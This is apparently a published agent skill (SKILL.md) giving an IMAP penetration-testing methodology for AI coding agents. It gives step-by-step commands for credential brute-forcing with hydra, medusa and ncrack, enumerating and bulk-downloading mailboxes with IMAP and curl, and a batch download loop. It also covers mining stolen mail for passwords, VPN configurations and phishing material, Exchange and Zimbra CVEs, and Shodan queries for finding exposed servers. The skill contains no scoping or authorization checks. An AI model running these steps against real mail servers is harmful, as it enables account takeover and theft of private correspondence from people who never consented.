# Imap Pentesting

> IMAP mail service (ports 143/993) penetration testing methodology. Covers IMAP service discovery, banner information extraction, credential brute-forcing, mailbox enumeration and mail download, IMAP command injection, and known vulnerability exploitation. Trigger this skill when the Agent's scan finds port 143 or 993 open, when IMAP authentication strength needs testing, when mailboxes need to be enumerated, or when IMAP service vulnerabilities need to be exploited.

- Skill: `dangeroussong/imap-pentesting` (Agent Skill)
- Install (CLI): `npx get-skill add dangeroussong/imap-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/dangeroussong/imap-pentesting/raw
- Safety review: pending (external: skill-scanner PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Product & Planning
- Author: DangerousSONG (https://skillmd.com/u/dangeroussong)
- Updated: 2026-11-19
- Page: https://skillmd.com/skills/dangeroussong/imap-pentesting

---


# IMAP Mail Penetration Testing Methodology (143/993)
- 攻击大类:C09 Web应用漏洞利用

## Further Reading

- IMAP command syntax, CURL operations, NTLM information extraction, mail search techniques -> read [references/imap-techniques.md](references/imap-techniques.md)

---

## Overall Decision Tree

```
Ports 143/993 are found open
├─ Phase 1: Service Discovery
│   ├─ Banner grab -> identify the mail service and version
│   ├─ 143 (plaintext) vs 993 (SSL/TLS)
│   └─ Nmap scripts -> capability enumeration / NTLM information
├─ Phase 2: Banner Information Analysis
│   ├─ Mail server type (Dovecot / Exchange / Cyrus / Zimbra)
│   ├─ NTLM information leak (Exchange) -> Windows version, domain
│   └─ CAPABILITY command -> supported features
├─ Phase 3: Credential Brute-forcing
│   ├─ hydra / medusa / ncrack
│   ├─ Metasploit imap_version
│   └─ Default credentials / weak passwords
├─ Phase 4: Mailbox Enumeration and Mail Download
│   ├─ LIST "" * -> list all mailbox folders
│   ├─ SELECT INBOX -> select the inbox
│   ├─ SEARCH ALL -> list all messages
│   ├─ FETCH -> download message content
│   └─ SEARCH TEXT "password" -> keyword search
└─ Phase 5: Known Vulnerabilities
    ├─ Server-specific CVEs
    ├─ IMAP command injection
    └─ searchsploit <imap_server> <version>
```

---

## Phase 1: Service Discovery

### 1.1 Banner Grabbing

```bash
# Plaintext IMAP (143)
nc -nv <IP> 143

# SSL/TLS IMAP (993)
openssl s_client -connect <IP>:993 -quiet
```

### 1.2 Nmap Enumeration

```bash
# IMAP NTLM information leak
nmap --script imap-ntlm-info -p 143 <IP>

# IMAP capability enumeration
nmap --script imap-capabilities -p 143 <IP>
```

### 1.3 Metasploit

```bash
msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS <IP>; set RPORT 143; run; exit'
```

---

## Phase 2: Banner Information Analysis

### 2.1 NTLM Information Extraction (Exchange)

If the server supports NTLM authentication, information such as the Windows version can be extracted:

```bash
# Telnet interaction
telnet <IP> 143
* OK The Microsoft Exchange IMAP4 service is ready.
>> a1 AUTHENTICATE NTLM
+
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# The server returns NTLMSSP_CHALLENGE (containing OS version and domain information)
```

### 2.2 Information Analysis Decision Tree

```
Banner analysis
├─ Microsoft Exchange
│   ├─ NTLM information leak -> version, domain, hostname
│   └─ Vulnerabilities such as ProxyLogon / ProxyShell may exist (over HTTP)
├─ Dovecot
│   └─ Check version-specific CVEs
├─ Cyrus IMAP
│   └─ Check version-specific CVEs
├─ Zimbra
│   └─ Check CVEs related to the web interface
└─ CAPABILITY results
    ├─ STARTTLS -> can upgrade to encryption
    ├─ AUTH=PLAIN -> plaintext authentication
    └─ AUTH=NTLM -> Windows domain environment
```

---

## Phase 3: Credential Brute-forcing

### 3.1 Brute-forcing Tools

```bash
# hydra — plaintext IMAP
hydra -l <username> -P <password_list> -f <IP> imap -V

# hydra — IMAPS (SSL)
hydra -l <username> -P <password_list> -f <IP> -s 993 imaps -V

# medusa
medusa -h <IP> -u <username> -P <password_list> -M imap

# ncrack
ncrack -p 143 --user <username> -P <password_list> <IP>
```

---

## Phase 4: Mailbox Enumeration and Mail Download

### 4.1 IMAP Command Operations

```bash
# Login
a1 LOGIN username password

# List all mailboxes/folders
a1 LIST "" *
a1 LIST INBOX *

# Select a mailbox
a1 SELECT INBOX

# View mailbox status
a1 STATUS INBOX (MESSAGES UNSEEN RECENT)

# Search all messages
a1 SEARCH ALL

# Keyword search
a1 SEARCH TEXT "password"
a1 SEARCH SUBJECT "vpn"
a1 SEARCH FROM "admin"

# Get message flags
a1 FETCH 1:* (FLAGS)

# Download the full message
a1 FETCH <msg_id> body[text]
a1 FETCH <msg_id> all
a1 UID FETCH <uid> (UID RFC822.SIZE BODY.PEEK[])

# Close the mailbox
a1 CLOSE

# Logout
a1 LOGOUT
```

### 4.2 CURL Operations (More Convenient)

```bash
# List all mailboxes
curl -k 'imaps://<IP>/' --user user:pass

# List the messages in INBOX
curl -k 'imaps://<IP>/INBOX?ALL' --user user:pass

# Keyword search
curl -k 'imaps://<IP>/Drafts?TEXT password' --user user:pass

# Download a specific message
curl -k 'imaps://<IP>/INBOX;MAILINDEX=1' --user user:pass

# UID operations
curl -k 'imaps://<IP>/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://<IP>/INBOX;UID=1' --user user:pass

# Batch fetch of message headers
curl -k 'imaps://<IP>/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```

### 4.3 Mail Content Analysis

```
After extracting the mails, focus on the content
├─ Credential information
│   ├─ Password reset mails
│   ├─ System notifications (new account creation)
│   └─ VPN / SSH / RDP configurations
├─ Internal network information
│   ├─ Internal IPs / URLs
│   ├─ System architecture documents
│   └─ Operations notifications
├─ Attachments
│   ├─ Configuration files
│   ├─ Documents (Word/Excel/PDF)
│   └─ Archives
├─ Drafts
│   └─ May contain unsent sensitive information
└─ Social engineering material
    └─ Mail templates / signatures -> reference for phishing attacks
```

### 4.4 Batch Download Script

```bash
# Download the first N messages in a loop
for m in {1..20}; do
  echo "--- Message $m ---"
  curl -k "imap://<IP>/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done
```

---

## Phase 5: Known Vulnerabilities

### 5.1 Vulnerability Detection Decision Tree

```
The IMAP service version is known
├─ Dovecot
│   ├─ CVE-2019-11500 (heap overflow)
│   └─ searchsploit dovecot
├─ Cyrus IMAP
│   ├─ CVE-2019-18928 (authentication bypass)
│   └─ searchsploit cyrus imap
├─ Microsoft Exchange
│   ├─ ProxyLogon (CVE-2021-26855)
│   ├─ ProxyShell (CVE-2021-34473)
│   └─ Exploited through the HTTP/HTTPS interface
├─ Zimbra
│   ├─ CVE-2022-27925 (RCE)
│   └─ CVE-2022-37042 (authentication bypass + RCE)
└─ General
    └─ searchsploit imap
```

---

## Graphical Client

For more intuitive handling of mail content:

```bash
# Evolution mail client (Linux)
apt install evolution
# After adding the IMAP account configuration you can browse the full mailbox
```

---

## Shodan Search

```
port:143 CAPABILITY
port:993 CAPABILITY
```

